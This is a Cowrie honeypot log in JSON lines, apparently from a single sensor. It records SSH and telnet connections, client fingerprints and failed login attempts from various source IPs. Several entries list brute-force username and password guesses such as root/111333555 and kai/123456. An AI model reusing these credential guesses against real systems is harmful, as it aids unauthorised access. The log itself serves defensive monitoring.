{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:17:45.461623Z","src_ip":"27.71.230.31","session":"4db1f849efc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52476,"dst_ip":"159.203.135.109","dst_port":23,"session":"da7dac488060","protocol":"telnet","message":"New connection: 128.199.8.54:52476 (159.203.135.109:23) [session: da7dac488060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:17:48.617755Z"}
{"eventid":"cowrie.session.closed","duration":38.02832818031311,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:18:06.563910Z","src_ip":"172.81.62.90","session":"8e451e1acea8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.20801281929016,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:18:11.369359Z","src_ip":"128.199.8.54","session":"accdf37cacaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":59412,"dst_ip":"10.17.0.5","dst_port":22,"session":"4660fed107ac","protocol":"ssh","message":"New connection: 46.19.67.181:59412 (10.17.0.5:22) [session: 4660fed107ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:18:33.225765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:18:33.230043Z","src_ip":"46.19.67.181","session":"4660fed107ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:18:33.345488Z","src_ip":"46.19.67.181","session":"4660fed107ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111333555","message":"login attempt [root/111333555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:18:33.685297Z","src_ip":"46.19.67.181","session":"4660fed107ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:18:34.799351Z","src_ip":"46.19.67.181","session":"4660fed107ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.570420265197754,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:18:38.188018Z","src_ip":"128.199.8.54","session":"da7dac488060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":43772,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca0137f64e50","protocol":"ssh","message":"New connection: 77.94.47.83:43772 (10.17.0.5:22) [session: ca0137f64e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:18:47.818777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:18:47.823821Z","src_ip":"77.94.47.83","session":"ca0137f64e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:18:47.937301Z","src_ip":"77.94.47.83","session":"ca0137f64e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120478","message":"login attempt [root/120478] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:18:48.272102Z","src_ip":"77.94.47.83","session":"ca0137f64e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:18:49.384204Z","src_ip":"77.94.47.83","session":"ca0137f64e50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":45176,"dst_ip":"10.17.0.5","dst_port":22,"session":"2929fa119d15","protocol":"ssh","message":"New connection: 14.63.196.175:45176 (10.17.0.5:22) [session: 2929fa119d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:19:04.547135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:19:04.554719Z","src_ip":"14.63.196.175","session":"2929fa119d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:19:04.757696Z","src_ip":"14.63.196.175","session":"2929fa119d15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:19:05.595657Z","src_ip":"14.63.196.175","session":"2929fa119d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:19:06.801401Z","src_ip":"14.63.196.175","session":"2929fa119d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42314,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf24e6526f9c","protocol":"telnet","message":"New connection: 128.199.8.54:42314 (159.203.135.109:23) [session: bf24e6526f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:19:09.919621Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":43134,"dst_ip":"159.203.135.109","dst_port":22,"session":"897923210ffe","protocol":"ssh","message":"New connection: 161.132.50.236:43134 (159.203.135.109:22) [session: 897923210ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:19:25.047146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:19:25.051717Z","src_ip":"161.132.50.236","session":"897923210ffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:19:25.140432Z","src_ip":"161.132.50.236","session":"897923210ffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kai","password":"123456","message":"login attempt [kai/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:19:25.526224Z","src_ip":"161.132.50.236","session":"897923210ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:19:26.622553Z","src_ip":"161.132.50.236","session":"897923210ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.705933570861816,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:19:48.625308Z","src_ip":"128.199.8.54","session":"bf24e6526f9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":35700,"dst_ip":"10.17.0.5","dst_port":22,"session":"89ac89805cd6","protocol":"ssh","message":"New connection: 80.66.85.226:35700 (10.17.0.5:22) [session: 89ac89805cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:20:15.678353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:20:15.683346Z","src_ip":"80.66.85.226","session":"89ac89805cd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:20:15.778513Z","src_ip":"80.66.85.226","session":"89ac89805cd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elektro","message":"login attempt [root/elektro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:20:16.053265Z","src_ip":"80.66.85.226","session":"89ac89805cd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:20:17.144981Z","src_ip":"80.66.85.226","session":"89ac89805cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":41430,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1abe75e2263","protocol":"ssh","message":"New connection: 103.153.68.219:41430 (159.203.135.109:22) [session: d1abe75e2263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:09.511540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:09.516524Z","src_ip":"103.153.68.219","session":"d1abe75e2263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:09.760784Z","src_ip":"103.153.68.219","session":"d1abe75e2263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"slava12345","message":"login attempt [root/slava12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:10.494495Z","src_ip":"103.153.68.219","session":"d1abe75e2263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:11.740737Z","src_ip":"103.153.68.219","session":"d1abe75e2263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39822,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f765e2ad34c","protocol":"telnet","message":"New connection: 94.23.66.112:39822 (10.17.0.5:23) [session: 7f765e2ad34c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:13.098925Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":45380,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe3d8c4f99e0","protocol":"ssh","message":"New connection: 161.132.50.236:45380 (159.203.135.109:22) [session: fe3d8c4f99e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:18.925778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:18.930467Z","src_ip":"161.132.50.236","session":"fe3d8c4f99e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:19.018817Z","src_ip":"161.132.50.236","session":"fe3d8c4f99e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shawn","password":"123","message":"login attempt [shawn/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:19.406420Z","src_ip":"161.132.50.236","session":"fe3d8c4f99e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:20.497943Z","src_ip":"161.132.50.236","session":"fe3d8c4f99e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":45260,"dst_ip":"10.17.0.5","dst_port":22,"session":"86d04d25ca04","protocol":"ssh","message":"New connection: 14.63.196.175:45260 (10.17.0.5:22) [session: 86d04d25ca04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:52.261957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:52.266957Z","src_ip":"14.63.196.175","session":"86d04d25ca04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:52.462788Z","src_ip":"14.63.196.175","session":"86d04d25ca04","protocol":"ssh"}
